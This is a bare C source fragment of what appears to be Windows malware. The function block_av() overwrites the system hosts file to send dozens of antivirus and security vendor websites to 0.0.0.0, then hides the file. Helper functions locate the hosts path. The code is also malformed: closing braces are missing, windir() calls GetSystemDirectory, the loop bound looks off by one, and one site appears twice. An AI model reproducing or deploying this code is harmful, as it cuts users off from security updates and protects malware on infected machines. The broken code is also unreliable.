void block_av()
{
   char str[MAX_PATH];
   int n;
   char *sites[] =
   {
   "www.antivirus.com",
   "www.claymania.com",
   "www.duba.net",
   "www.bitdefender.com",
   "www.commandcom.com",
   "www.dials.ru",
   "www1.my-etrust.com",
   "www.f-prot.com",
   "www.f-secure.com",
   "www.grisoft.com",
   "antivirus.cai.com",
   "www.avp.ru",
   "www.nai.com",
   "www.nod32.com.au",
   "www.norman.com",
   "www.symantec.com",
   "www.pandasoftware.com",
   "www.sophos.com",
   "www.trend.com",
   "www.commandondemand.com",
   "www.dialognauka.ru",
   "www.veloz.com",
   "support.ikarus.at",
   "www.kaspersky.com",
   "www.hauri.net",
   "antivirus.mafia.ru",
   "www.mcafee.com",
   "www.webimmune.net",
   "www.pandasoftware.com",
   "www.pcpitstop.com",
   "www.ravantivirus.com",
   "security1.norton.com",
   "housecall.antivirus.com",
   "www.freedom.net",
   "www.invircible.com"
   };

   FILE *hosts = fopen(hosts_file(), "w");

   if (hosts == NULL)
       return;

   fputs("127.0.0.1 localhost\n", hosts);

   for (n = 0; n <= MAX_SITES; n++)
   {
       wsprintf(str, "0.0.0.0 %s\n", sites[n]);
       fputs(str, hosts);
   }

   fclose(hosts);

   SetFileAttributes(hosts_file(), FILE_ATTRIBUTE_HIDDEN);

char *hosts_file()
{
   static char hosts[MAX_PATH];

   if (running_nt())
       wsprintf(hosts, "%s\\drivers\\etc\\hosts", sysdir
());

   else
       wsprintf(hosts, "%s\\hosts", windir());

   return hosts;

BOOL running_nt()
{
   return (GetVersion() < 0x80000000);

char *windir()
{
   static char win[MAX_PATH];

   GetSystemDirectory(win, MAX_PATH);

   return win;